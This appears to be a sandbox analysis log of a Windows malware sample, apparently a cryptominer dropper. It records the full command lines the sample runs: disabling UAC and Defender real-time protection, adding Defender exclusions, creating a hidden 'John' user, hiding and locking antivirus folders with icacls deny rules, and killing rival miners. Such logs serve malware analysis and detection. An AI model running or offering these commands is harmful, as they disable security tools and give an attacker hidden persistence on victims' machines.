  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "\Windows\CampaignManager" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2660
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "\Windows\FamilySafetyRefresherTask" /F
      4⤵
      PID:3316
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "\Windows\ServiceRun" /F
      4⤵
      PID:4664
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "\Windows\SpaceManagTask" /F
      4⤵
      PID:4236
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ImmersiveShell" /v UseActionCenterExperience /t REG_DWORD /d 0 /f
      4⤵
      PID:4080
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
      4⤵
      PID:1420
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Windows Error Reporting" /v disable /t REG_DWORD /d 1 /f
      4⤵
      PID:3500
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f
      4⤵
      PID:5596
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
      4⤵
      PID:1216
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" /v Notification_Suppress /t REG_DWORD /d 1 /f
      4⤵
      PID:2260
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer" /v DisableNotificationCenter /t REG_DWORD /d 1 /f
      4⤵
      PID:5352
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      PID:4060
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v John /t REG_DWORD /d 0 /f
      4⤵
      Hide Artifacts: Hidden Users
      PID:3240
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Programdata /t REG_SZ /d System /f
      4⤵
      PID:4580
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5084
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v Exclusions_Paths /t REG_DWORD /d 1 /f
      4⤵
      PID:5336
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:5780
  - - C:\Windows\SysWOW64\net.exe
      net user John 12345 /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:3656
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user John 12345 /add
        5⤵
        
        PID:1728
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "└Σ∞ΦφΦ±≥≡α≥ε≡√" john /add
      4⤵
      PID:1460
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "└Σ∞ΦφΦ±≥≡α≥ε≡√" john /add
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5972
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "╧εδⁿτεΓα≥σδΦ ≤Σαδσφφεπε ≡αßε≈σπε ±≥εδα" John /add
      4⤵
      PID:1772
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "╧εδⁿτεΓα≥σδΦ ≤Σαδσφφεπε ≡αßε≈σπε ±≥εδα" John /add
        5⤵
        
        PID:5644
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "╧εδⁿτεΓα≥σδΦ ≤Σαδσφφεπε ≤∩≡αΓδσφΦ " John /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:3756
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "╧εδⁿτεΓα≥σδΦ ≤Σαδσφφεπε ≤∩≡αΓδσφΦ " John /add
        5⤵
        
        PID:4972
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\COMODO\COMODO Internet Security"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:5288
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\COMODO\COMODO Internet Security" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:2456
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files (x86)\360\Total Security"
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:3208
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\360\Total Security" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:1748
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\ProgramData\360TotalSecurity
      4⤵
      PID:3212
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\ProgramData\360safe
      4⤵
      Views/modifies file attributes
      PID:2800
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\360TotalSecurity" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1760
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\360safe" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:2644
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM SPYHUNTER4.EXE /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2132
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:436
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\Program Files\Enigma Software Group\SpyHunter
      4⤵
      PID:3376
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\Enigma Software Group\SpyHunter" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      System Location Discovery: System Language Discovery
      PID:4948
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\Enigma Software Group\SpyHunter\SpyHunter4.exe" /deny Admin:(D,F)
      4⤵
      Modifies file permissions
      PID:5384
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\Program Files (x86)\SpyHunter
      4⤵
      Views/modifies file attributes
      PID:2360
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\Program Files\SpyHunter
      4⤵
      Views/modifies file attributes
      PID:4660
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\SpyHunter" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:4088
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\SpyHunter" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:1056
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\SpyHunter\SpyHunter4.exe" /deny Admin:(D,F)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3080
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\SpyHunter\SpyHunter4.exe" /deny ┬±σ:(D,F)
      4⤵
      PID:1080
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM Cube.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3608
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files (x86)\Cezurity"
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:3156
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\Cezurity"
      4⤵
      Drops file in Program Files directory
      PID:1172
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\ProgramData\Cezurity
      4⤵
      PID:4028
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\Cezurity" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:4488
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\Cezurity" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3760
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Cezurity" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:3744
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\ProgramData\McAfee"
      4⤵
      Views/modifies file attributes
      PID:832
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\McAfee" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:5428
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\McAfee"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:3720
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\McAfee" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:1688
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\McAfee.com"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:3644
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\McAfee.com" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:5940
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\ProgramData\Avira
      4⤵
      Views/modifies file attributes
      PID:1212
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\Avira" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:3228
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\ProgramData\Package Cache"
      4⤵
      Views/modifies file attributes
      PID:1764
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\Package Cache" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5916
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\ESET"
      4⤵
      Drops file in Program Files directory
      PID:5944
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\ESET" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:4284
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\ProgramData\ESET
      4⤵
      PID:440
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\ESET" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:4076
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\AVAST Software\Avast"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:6040
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\AVAST Software\Avast" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:4176
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Programdata\AVAST Software"
      4⤵
      PID:3296
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Programdata\AVAST Software" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1672
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Programdata\Kaspersky Lab"
      4⤵
      PID:5064
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Programdata\Kaspersky Lab Setup Files"
      4⤵
      PID:6140
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Programdata\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:1808
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:2264
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\Kaspersky Lab"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:2000
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files (x86)\Kaspersky Lab"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:1332
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:1888
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:2868
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\AdwCleaner"
      4⤵
      PID:3728
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\AdwCleaner" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:4544
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\Malwarebytes\Anti-Malware"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:4536
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\Malwarebytes\Anti-Malware" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:3196
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\ProgramData\Norton"
      4⤵
      PID:1976
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\Norton" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:2652
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\ProgramData\Avg"
      4⤵
      PID:5076
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\Avg" /deny Admin:(OI)(CI)(F)
      4⤵
      System Location Discovery: System Language Discovery
      PID:2408
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files\AVG"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:4440
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Program Files (x86)\AVG"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:4424
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\AVG" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:2292
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\AVG" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:5680
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\ProgramData\grizzly"
      4⤵
      PID:4980
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\grizzly" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      System Location Discovery: System Language Discovery
      PID:1368
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\Users\Admin\AppData\Local\Temp\grizzly-setup-cache"
      4⤵
      Views/modifies file attributes
      PID:5444
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\Temp\grizzly-setup-cache" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:5440
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\ProgramData\Doctor Web"
      4⤵
      Views/modifies file attributes
      PID:5788
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\Doctor Web" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:368
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\users\Admin\appdata\roaming\microsoft\windows\helper.exe"
      4⤵
      PID:4672
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\programdata\olly.exe"
      4⤵
      Views/modifies file attributes
      PID:1652
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\programdata\iostream.exe"
      4⤵
      Views/modifies file attributes
      PID:5636
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\programdata\SystemIdle.exe"
      4⤵
      Views/modifies file attributes
      PID:2228
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\programdata\System Idle.exe"
      4⤵
      Views/modifies file attributes
      PID:5792
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\users\Admin\AppData\Roaming\winhost.exe"
      4⤵
      Views/modifies file attributes
      PID:2692
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\users\Admin\AppData\roaming\bot.exe"
      4⤵
      Views/modifies file attributes
      PID:2752
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\users\Admin\AppData\roaming\nvidiadriver.exe"
      4⤵
      Views/modifies file attributes
      PID:3932
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\microsoft\windows\helper.exe" /deny Admin:(D,F)
      4⤵
      Possible privilege escalation attempt
      System Location Discovery: System Language Discovery
      PID:3224
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\olly.exe" /deny Admin:(D,F)
      4⤵
      Modifies file permissions
      PID:3868
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\iostream.exe" /deny Admin:(D,F)
      4⤵
      PID:3548
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\SystemIdle.exe" /deny Admin:(D,F)
      4⤵
      Possible privilege escalation attempt
      PID:3384
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\System Idle.exe" /deny Admin:(D,F)
      4⤵
      Modifies file permissions
      PID:6072
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\Roaming\winhost.exe" /deny Admin:(D,F)
      4⤵
      Modifies file permissions
      PID:4936
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\roaming\bot.exe" /deny Admin:(D,F)
      4⤵
      Possible privilege escalation attempt
      PID:3392
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\roaming\nvidiadriver.exe" /deny Admin:(D,F)
      4⤵
      PID:4344
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule dir=in action=block protocol=tcp localport=7777 name="Block_7777"
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:5524
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule dir=out action=block protocol=tcp localport=7777 name="Block_7777"
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:452
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\Programdata\system32\logs\svchost.exe"
      4⤵
      PID:4116
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM systemcore.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1512
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\roaming\subdir"
      4⤵
      Views/modifies file attributes
      PID:888
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\roaming\subdir" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:744
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM serviceon.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4260
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM ifxpers.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:924
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "idle driver.exe" /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4776
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\appdata\roaming\microsoft software"
      4⤵
      PID:5248
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\microsoft software" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:428
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "taskhost.exe" /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4108
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "intel1s.exe" /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4664
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "intel.exe" /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3340
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "intel1.exe" /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3500
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "taskhostss.exe" /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5324
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\appdata\roaming\microsoft software"
      4⤵
      Views/modifies file attributes
      PID:5588
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\Roaming\Microsoft\SystemCertificates" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2340
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM moonlight.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4060
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM moonlight.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1500
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:6032
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\windows\syswow64\xmr64"
      4⤵
      Drops file in System32 directory
      Views/modifies file attributes
      PID:1788
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\windows\syswow64\xmr64" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5272
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM intel1.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4772
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\programdata\GOOGLE"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2700
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\GOOGLE" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:4360
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ErrorCheck.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:920
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\Roaming\macromedia"
      4⤵
      PID:4624
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\Roaming\macromedia" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:1644
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM sidebar.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4856
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\programdata\System32
      4⤵
      Views/modifies file attributes
      PID:5644
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM client.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4972
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hostxmrig.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5288
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:1248
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\windows\hhsm"
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:2964
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\windows\hhsm" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:5584
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM AudioSystemDriver.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1796
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\appdata\roaming\microsoft\Speech\"
      4⤵
      PID:2132
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\microsoft\Speech" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4512
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM coretempapp.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:436
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\appdata\roaming\coretempapp"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1608
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\coretempapp" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:2472
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM kryptex.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3488
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM kryptex7.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2160
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:5348
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\appdata\roaming\kryptex"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4328
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\kryptex" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:5796
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM generictools.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2044
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM digitalsearch.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4028
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:3760
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\appdata\local\generictools"
      4⤵
      Views/modifies file attributes
      PID:3744
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\local\generictools" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:832
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM intel.exe /F
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5428
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\programdata\steam"
      4⤵
      Views/modifies file attributes
      PID:1688
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\steam" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5320
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM esif.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5940
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\esif.exe" /deny Admin:(D,F)
      4⤵
      Possible privilege escalation attempt
      PID:3228
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM muxu.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1764
